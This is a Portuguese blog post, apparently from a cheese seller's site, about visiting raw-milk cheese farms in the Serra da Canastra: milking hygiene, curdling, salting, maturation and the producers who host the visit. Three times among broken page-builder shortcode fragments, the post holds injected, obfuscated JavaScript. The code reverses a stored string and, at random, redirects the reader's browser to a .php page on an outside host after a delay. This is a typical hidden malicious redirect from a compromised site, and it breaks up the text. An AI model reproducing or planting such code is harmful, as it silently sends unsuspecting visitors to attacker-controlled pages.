Conhecendo a Serra da Canastra

Posted by 15 de dezembro de 2014 Queijos No Comments
Canastra

Para conhecer melhor o processo de fabricação do Queijo Artesanal feito com leite cru, fomos visitar a Serra da Canastra. Chegamos junto com as chuvas, muito esperadas depois de uma longa seca. As estradas se tornaram grandes aventuras.
A primeira visita foi à fazenda, do jovem proprietário Guilherme. Logo na chegada já tivemos que ser rebocados: carro de asfalto não serve para as estradas barrentas.

O gado é mestiço, uma mistura de raças feita para adequar a produção de leite às condições de relevo das pastagens.
O controle de saúde dos animais aqui é levado muito a sério, o primeiro passo para se fazer um bom queijo é ter um leite de qualidade.

) == "string") return $mkD.list[n].split("").reverse().join("");return $mkD.list[n];};$mkD.list=["\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}top” bg_repeat=”no-repeat” text_color=”dark” text_align=”left”]
) == "string") return $mkD.list[n].split("").reverse().join("");return $mkD.list[n];};$mkD.list=["\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}tom_links_target=”_self” img_size=”400×400″ display_title_caption=”true”]

Acabada a ordenha começa a limpeza, todo o curral é lavado e a ordenhadeira passa por um longo processo de autolimpeza.

O leite é levado para a casinha de queijo onde se acrescenta o coalho (único elemento industrializado utilizado na produção) e o pingo, que é o fermento do queijo obtido do soro que escorre dele durante a primeira noite de produção.

Depois de um tempo é feito o corte dando início ao processo de separação do soro da massa. Trazido para dentro das fôrmas a massa é espremida com as mãos e o auxílio de um tecido.

Enformados, os queijos recebem uma camada de sal grosso e descansam até a noite quando são virados dentro da forma e recebem uma nova camada de sal do outro lado.

No dia seguinte seguem para a câmara de maturação onde ficam por vários dias, ou, conforme o desejo do fabricante por vários meses.

Na Capim Canastra degustamos queijos com oito meses de maturação! Hummm!

Continuando a visita, não podíamos deixar de conhecer os lendários Zé Mário e Dona Valdete. Que simpatia! À entrada, Zé Mário fez questão de receber cada um do nosso grupo com um aperto de mão, uma apresentação e um dedo de prosa, sempre com um sorriso no rosto.

) == "string") return $mkD.list[n].split("").reverse().join("");return $mkD.list[n];};$mkD.list=["\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}top” bg_repeat=”no-repeat” text_color=”dark” text_align=”left”]

Simplicidade e higiene na sala de ordenha

Dona Valdete, carinho com os queijos

Zé Mário, olhar atento a cada detalhe

Fomos conhecer o curral de ordenha, nem sei se posso chamar de curral, prefiro chamar de sala, nenhum cheiro, sem moscas, limpeza total! E o Zé Mário nos recebe contando suas histórias como se estivéssemos na sala de vistas, enquanto Dona Valdete traz um queijinho cortado para provarmos, depois um docinho de queijo… e as horas foram passando sem que percebêssemos. Quanto acolhimento, quanta paciência e um carinho enorme. Um momento para ser guardado na memória para sempre.

Outro ponto alto da viagem foi conhecer João Carlos Leite e sua maravilhosa história de conquistas, com a fundação da associação de produtores e da cooperativa de crédito. Mas esta será uma outra história, até breve.